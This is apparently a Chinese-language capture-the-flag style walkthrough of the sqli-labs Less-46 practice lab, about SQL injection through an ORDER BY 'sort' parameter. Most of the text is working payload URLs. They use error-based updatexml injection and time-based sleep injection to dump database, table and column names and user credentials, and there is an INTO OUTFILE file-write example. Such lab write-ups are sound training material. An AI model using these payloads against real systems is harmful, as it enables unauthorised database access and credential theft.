Sqli-labs-Less-46
知识补充
SQL语句中,asc是指定列按升序排列,desc则 是指定列按降序排列。
select * from users order by 1 desc; 使用降序进行排列
select * from users order by1 asc;使用升序进行排列
right()
select right(database(),1);
Left()
select left(database(),1);
lines terminated by xxx 以xxx为结尾:
select '<XXXXXXX>' into outfile 'C:pbpstudyPHPTutorilWWW.crow.pbp’ lines terminated by 0x363636;
打开Sqli-labs-Less-46关后可以看到提示,显示要我们使用SORT进行注入
输入http://www.web.com/sql/Less-46/?sort=1
发现返回结果是账户和名称,是以ID值来排序的
输入http://www.web.com/sql/Less-46/?sort=2
返回结果是以username来排序的
输入http://www.web.com/sql/Less-46/?sort=3
返回结果是以password来排序的
总结:sort后面的参数是用来改变根据那一列来进行排列顺序。
在参数后面加上desc,发现进行反向排序
http://www.web.com/sql/Less-46/?sort=3 desc
判断注入点
http://www.web.com/sql/Less-46/?sort=3'
报错,显示多了一个'说明在此处是没有进行包裹的
查看当前库
http://www.web.com/sql/Less-46/?sort=3 union select 1,2,database()--+
报错,说明在此处不能使用union注入
我们尝试使用报错注入
http://www.web.com/sql/Less-46/?sort=3 and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
成功
查看所有库
http://www.web.com/sql/Less-46/?sort=3 and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+
查看所有表
http://www.web.com/sql/Less-46/?sort=3 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
查看所有字段
http://www.web.com/sql/Less-46/?sort=3 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
查看所有账户和密码
http://www.web.com/sql/Less-46/?sort=3 and updatexml(1,concat(0x7e,(select group_concat(concat_ws('~',username,password)) from security.users),0x7e),1)--+
使用时间注入
判断当前数据库名称长度
http://www.web.com/sql/Less-46/?sort=3 and if(length(database())=8,1,sleep(2))--+
当等于8时没有时间延时,说明数据库名称长度为8
判断当前数据库名称
http://www.web.com/sql/Less-46/?sort=3 and if(substr((select database()),1,1)='s',1,sleep(2))--+
当等于s时没有时间延时,说明首字母为s
使用burp爆破出当前库名称
判断表名
http://www.web.com/sql/Less-46/?sort=3 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',1,sleep(2))--+
使用burp爆破
判断字段
http://www.web.com/sql/Less-46/?sort=3 and if(substr((select column_name from information_schema.columns where table_name='users’ limit 0,1),1,1)=‘u',1,sleep(5))–+
使用burp爆破
判断账户(username)
http://www.web.com/sql/Less-46/?sort=3 and if(substr((select username from security.users limit 0,1),1,1)=‘d’,1,sleep(5))–+
使用burp爆破
判断密码(password)
http://www.web.com/sql/Less-46/?sort=3 and if(substr((select password from security.users limit 0,1),1,1)='d',1,sleep(5))–+
使用burp爆破
将username,password一起进行爆破
http://www.web.com/sql/Less-46/?sort=3 and if(substr((select group_concat(username,password) from security.users limit 0,1),1,1)=‘d’,1,sleep(5))–+
使用concat_ws()函数将username,password进行分割并一起进行爆破
http://www.web.com/sql/Less-46/?sort=3 and if(substr((select group_concat(concat_ws(’-’,username,password)) from security.users limit 0,1),1,1)=‘d’,1,sleep(1))–+
以此类推可以得到所有数据。
原文始发于微信公众号(龙蜀安全):SQL-Labs Less-46
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论